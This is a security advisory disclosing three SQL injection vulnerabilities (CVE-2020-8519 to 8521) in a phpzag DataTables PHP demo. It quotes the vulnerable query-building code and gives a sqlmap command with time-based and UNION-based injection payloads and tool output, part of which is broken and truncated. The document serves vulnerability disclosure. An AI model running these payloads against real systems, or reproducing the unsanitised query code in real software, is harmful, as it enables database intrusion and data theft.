

Advisory #: 213

Title: SQL Injection in search field of phpzag live add edit delete data tables records with ajax php mysql

Author: Larry W. Cashdollar, @_larry0

Date: 2020-05-19

CVE-ID: [CVE-2020-8519][CVE- 2020-8520][CVE- 2020-8521]

CWE:

Download Site: <https://www.phpzag.com/live-add-edit-delete-datatables-records-with-ajax-php-mysql/>

Vendor: PHPZAG

Vendor Notified: 2020-05-19

Vendor Contact:

Advisory: <http://www.vapidlabs.com/advisory.php?v=213>

Description: DataTables is a jQuery JavaScript library to convert simple HTML tables to dynamic feature-rich tables. The jQuery DataTables are very user friendly to list records with live add, edit, delete records without page refresh. Due to this, DataTables used widely in web applications to list records.

Vulnerability:

There is SQL injection in the search function in Records.php:

CVE-2020-8519 SQL injection in search parameter:

```
20  if(!empty($_POST["search"]["value"])){
21      $sqlQuery .= 'where(id LIKE "%'.$_POST["search"]["value"].%"';
22      $sqlQuery .= ' OR name LIKE "%'.$_POST["search"]["value"].%"';
23      $sqlQuery .= ' OR designation LIKE "%'.$_POST["search"]["value"].%"';
24      $sqlQuery .= ' OR address LIKE "%'.$_POST["search"]["value"].%"';
25      $sqlQuery .= ' OR skills LIKE "%'.$_POST["search"]["value"].%"';
26  }
27
```

CVE-2020-8520 SQL Injection in line 29 with 'order' and 'column' parameter:

```
28  if(!empty($_POST["order"])){
29      $sqlQuery .= 'ORDER BY '.$_POST["order"][0]['column'].'.$_POST["order"][0]['dir'].'';
30  } else {
31      $sqlQuery .= 'ORDER BY id DESC';
32  }
```

CVE-2020-8521 SQL Injection line 35 with 'start' and 'length' parameters:

```
34  if($_POST["length"] != -1){
35      $sqlQuery .= 'LIMIT '.$_POST["start"].','.$_POST["length"];
36  }
```

Export: JSON TEXT XML

Exploit Code:

```
1. $ sqlmap -u "http://192.168.0.149/live-add-edit-delete-datatables-php-mysql-demo/ajax_action.php" --data "draw=153&columns[0]
[data]=0&columns[0][name]=&columns[0][searchable]=true&columns[0][orderable]=false&columns[0][search][value]=&columns[0][search]
[regex]=false&columns[1][data]=1&columns[1][name]=&columns[1][searchable]=true&columns[1][orderable]=true&columns[1][search]
[value]=&columns[1][search][regex]=false&columns[2][data]=2&columns[2][name]=&columns[2][searchable]=true&columns[2]
[orderable]=true&columns[2][search][value]=&columns[2][search][regex]=false&columns[3][data]=3&columns[3][name]=&columns[3]
[searchable]=true&columns[3][orderable]=true&columns[3][search][value]=&columns[3][search][regex]=false&columns[4][data]=4&columns[4]
[name]=&columns[4][searchable]=true&columns[4][orderable]=true&columns[4][search][value]=&columns[4][search][regex]=false&columns[5]
[data]=5&columns[5][name]=&columns[5][searchable]=true&columns[5][orderable]=true&columns[5][search][value]=&columns[5][search]
[regex]=false&columns[6][data]=6&columns[6][name]=&columns[6][searchable]=true&columns[6][orderable]=false&columns[6][search]
[value]=&columns[6][search][regex]=false&columns[7][data]=7&columns[7][name]=&columns[7][searchable]=true&columns[7]
[orderable]=false&columns[7][search][value]=&columns[7][search][regex]=false&order[0][column]=3&order[0]
[dir]=asc&start=0&length=10&search[value]="&and="1&search[regex]=false&action=listRecords" -p "search[value]" --method POST --dbms=mysql --
level 2 --risk 2

2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
```

```

[value]=&columns[5][search][regex]=false&columns[6][data]=&columns[6][name]=&columns[6][searchable]=true&columns[6]
[orderable]=false&columns[6][search][value]=&columns[6][search][regex]=false&columns[7][data]=&columns[7][name]=&columns[7]
[searchable]=true&columns[7][orderable]=false&columns[7][search][value]=&columns[7][search][regex]=false&order[0][column]=3&order[0]
[dir]=asc&start=0&length=10&search[value]= and 1") AND (SELECT * FROM (SELECT(SLEEP(5)))KGDc) AND
("AejS"="AejS&search[regex]=false&action=listRecords
50.
51.      Type: UNION query
52.      Title: Generic UNION query (NULL) - 6 columns
53.      Payload: draw=153&columns[0][data]=0&columns[0][name]=&columns[0][searchable]=true&columns[0][orderable]=false&columns[0][search]
[value]=&columns[0][search][regex]=false&columns[1][data]=1&columns[1][name]=&columns[1][searchable]=true&columns[1]
[orderable]=true&columns[1][search][value]=&columns[1][search][regex]=false&columns[2][data]=2&columns[2][name]=&columns[2]
[searchable]=true&columns[2][orderable]=true&columns[2][search][value]=&columns[2][search][regex]=false&columns[3][data]=3&columns[3]
[name]=&columns[3][searchable]=true&columns[3][orderable]=true&columns[3][search][value]=&columns[3][search][regex]=false&columns[4]
[data]=4&columns[4][name]=&columns[4][searchable]=true&columns[4][orderable]=true&columns[4][search][value]=&columns[4][search]
[regex]=false&columns[5][data]=5&columns[5][name]=&columns[5][searchable]=true&columns[5][orderable]=true&columns[5][search]
[value]=&columns[5][search][regex]=false&columns[6][data]=6&columns[6][name]=&columns[6][searchable]=true&columns[6]
[orderable]=false&columns[6][search][value]=&columns[6][search][regex]=false&columns[7][data]=7&columns[7][name]=&columns[7]
[searchable]=true&columns[7][orderable]=false&columns[7][search][value]=&columns[7][search][regex]=false&order[0][column]=3&order[0]
[dir]=asc&start=0&length=10&search[value]= and 1") UNION ALL SELECT
NULL,NULL,NULL,NULL,CONCAT(0x7162717671,0x5a6b657a455263557478797469434e4f506b596f4e5a585668496b6e7464796e6a6f6a596e656b4e,0x717a767171),NULL-
- SKNj&search[regex]=false&action=listRecords
54. ---
55. [10:40:02] [INFO] the back-end DBMS is MySQL
56. web server operating system: Linux Ubuntu
57. web application technology: Apache 2.4.29
58. back-end DBMS: MySQL >= 5.0.12
59. [10:40:02] [WARNING] HTTP error codes detected during run:
60. 500 (Internal Server Error) - 31 times
61. [10:40:02] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/192.168.0.149'
62.

```

Screen Shots:

Notes: